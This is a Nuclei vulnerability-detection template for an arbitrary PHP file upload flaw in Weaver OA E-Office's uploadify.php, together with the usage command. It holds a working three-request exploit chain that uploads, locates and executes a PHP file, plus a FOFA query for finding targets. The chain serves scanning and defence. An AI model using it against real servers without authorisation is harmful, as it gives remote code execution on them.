OA E-Office LazyUploadify - Arbitrary File Upload

ID: weaver-lazyuploadify-file-upload

Severity: critical

Author: SleepingBag945

Tags: weaver,e-office,intrusive,rce,file-upload

Description

OA E-Office LazyUploadify is vulnerable to arbitrary file upload.

YAML Source

id: weaver-lazyuploadify-file-upload

info:
  name: OA E-Office LazyUploadify - Arbitrary File Upload
  author: SleepingBag945
  severity: critical
  description: OA E-Office LazyUploadify is vulnerable to arbitrary file upload.
  reference:
    - https://github.com/w-digital-scanner/w9scan/blob/master/plugins/weaver_oa/2158.py
  metadata:
    verified: true
    max-request: 3
    fofa-query: app="泛微-EOffice"
  tags: weaver,e-office,intrusive,rce,file-upload
variables:
  filename: "{{to_lower(rand_base(5))}}"
  string: "weaver-lazyuploadify-file-upload"

http:
  - raw:
      - |
        GET /general/weibo/javascript/LazyUploadify/uploadify.php HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /general/weibo/javascript/LazyUploadify/uploadify.php HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
        Accept: */*
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjetvpuye
        Accept-Encoding: gzip

        ------WebKitFormBoundaryjetvpuye
        Content-Disposition: form-data; name="Filedata"; filename="{{filename}}.php"
        Content-Type: application/octet-stream

        <?php echo md5("{{string}}");unlink(__FILE__);?>
        ------WebKitFormBoundaryjetvpuye--
      - |
        GET /attachment/{{attachmentID}}/{{attachmentName}} HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: attachmentID
        internal: true
        group: 1
        regex:
          - "attachmentID\":(.*?),"

      - type: regex
        name: attachmentName
        internal: true
        group: 1
        regex:
          - "attachmentName\":\"(.*?)\","

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "contains(body_2, 'attachmentID') && contains(body_2, 'attachmentName')"
        condition: and

      - type: word
        part: body_3
        words:
          - '{{md5(string)}}'
# digest: 4b0a00483046022100a2f5a815c131f4d1dad268eb2249e01c551f3183778184f5d41a4d1e3a03f5fb022100c0a2d7742c0f0bbfab7abd66d623fd15bc3e8c83bff7df089c23365f81ea70a6:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/weaver/weaver-lazyuploadify-file-upload.yaml"

View on Github